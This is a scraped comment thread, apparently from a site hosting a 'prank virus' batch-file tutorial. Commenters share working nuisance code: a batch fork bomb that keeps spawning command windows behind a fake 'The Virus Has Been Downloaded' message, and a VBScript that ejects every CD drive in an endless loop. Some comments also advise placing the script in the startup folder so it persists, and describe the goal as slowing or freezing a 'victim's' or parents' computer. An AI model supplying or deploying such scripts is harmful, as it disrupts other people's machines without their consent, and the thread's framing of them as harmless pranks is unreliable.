Open the CD drive over, and over, and over forever.
do Dim ts Dim strDriveLetter Dim intDriveLetter Dim fs 'As Scripting.FileSystemObject Const CDROM = 4 On Error Resume Next Set fs = CreateObject("Scripting.FileSystemObject") strDriveLetter = "" For intDriveLetter = Asc("A") To Asc("Z") Err.Clear If fs.GetDrive(Chr(intDriveLetter)).DriveType = CDROM Then If Err.Number = 0 Then strDriveLetter = Chr(intDriveLetter) Exit For End If End If Next Set oWMP = CreateObject("WMPlayer.OCX.7" ) Set colCDROMs = oWMP.cdromCollection For d = 0 to colCDROMs.Count - 1 colCDROMs.Item(d).Eject Next 'null
For d = 0 to colCDROMs.Count - 1 colCDROMs.Item(d).Eject Next 'null
This is amazing! I searched about 20, and this was the best. Simple and effective, this gets MY thumbs-up.
But... if anything, what happens if you DO "press any key"? Does something actually HAPPEN?
so it's a fork bomb and a fake virus?
2 hits!
however, if you wanted to not do the slow part, you could write something to close the bat as the second one opens.
Well, the actual purpose of this .bat file is mainly to mercilessly slow the victim's computer, and the command to close the command prompt is "EXIT," so instead of typing "GOTO START," type "EXIT." This will close the command prompt after each restart, unfortunately, not slowing your victim's computer, and losing its effectiveness. Hope you found this information helpful!
(quote1) --> "Harmless in every way." (quote2) --> "GOTO START : This tells the computer to run the file over and over and over again without stopping which causes the computer to freeze since it gets opened so much."
OMFG Freezing your parents computer is soooooo harmless :P
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50 Comments
chevey 12 years ago
PhantomF3 6 years ago
as this comment is from a few years ago i expect you wont read this but "pause break" will stop any batch file so it stops doing things
mcfly.mcfly.5264 9 years ago
mhhh you have to open task menager and shut down the prozess ........ But if you just didtn write the "goto start " you can just close it
jrose29 10 years ago
morwennaruthturner 6 years ago
RAGE2Sage 7 years ago
you should add timeouts and an auto restart
ScottM272 7 years ago
Actually using loop with loads of starts ok too
Blake Turner 7 years ago
If you want to harm their computer...
@echo off
echo The Virus Has Been Downloaded
ping localhost -n 5 >nul
cls
echo It can't be stopped!
ping localhost -n 2 >nul
:loop
start
goto loop
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This command will open google forever.
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Or...
@echo off
:loop
start
goto loop
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Is a simpler version of the top one.
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Open the CD drive over, and over, and over forever.
do
Dim ts
Dim strDriveLetter
Dim intDriveLetter
Dim fs 'As Scripting.FileSystemObject
Const CDROM = 4
On Error Resume Next
Set fs = CreateObject("Scripting.FileSystemObject")
strDriveLetter = ""
For intDriveLetter = Asc("A") To Asc("Z")
Err.Clear
If fs.GetDrive(Chr(intDriveLetter)).DriveType = CDROM Then
If Err.Number = 0 Then
strDriveLetter = Chr(intDriveLetter)
Exit For
End If
End If
Next
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
For d = 0 to colCDROMs.Count - 1
colCDROMs.Item(d).Eject
Next 'null
For d = 0 to colCDROMs.Count - 1
colCDROMs.Item(d).Eject
Next 'null
set owmp = nothing
set colCDROMs = nothing
loop
AnirudhT1 8 years ago
And antivirus programs detect it as a potentially harmful program!
AnirudhT1 8 years ago
Put this in startup folder and your computer will be really screwed up.
ChanC7 8 years ago
aww yeah!
RaahimF 8 years ago
Awwwww nice best prank evr
:3
Ark22 14 years ago
TonyS16 8 years ago
Because there is no code after it it will just close and stop the cmmands.
xXJeff The KillerXx 8 years ago
If you press a key it will re-open itself over and over again until it causes your computer to crash with lag. Have fun!
mcfly.mcfly.5264 9 years ago
yeah it starts his selfe again and again and again so you cant close it
grumpyfam25 12 years ago
xenongamer 15 years ago
xXJeff The KillerXx 9 years ago
Well, the actual purpose of this .bat file is mainly to mercilessly slow the victim's computer, and the command to close the command prompt is "EXIT," so instead of typing "GOTO START," type "EXIT." This will close the command prompt after each restart, unfortunately, not slowing your victim's computer, and losing its effectiveness. Hope you found this information helpful!
oliabe 10 years ago
(quote2) --> "GOTO START : This tells the computer to run the file over and over and over again without stopping which causes the computer to freeze since it gets opened so much."
OMFG Freezing your parents computer is soooooo harmless :P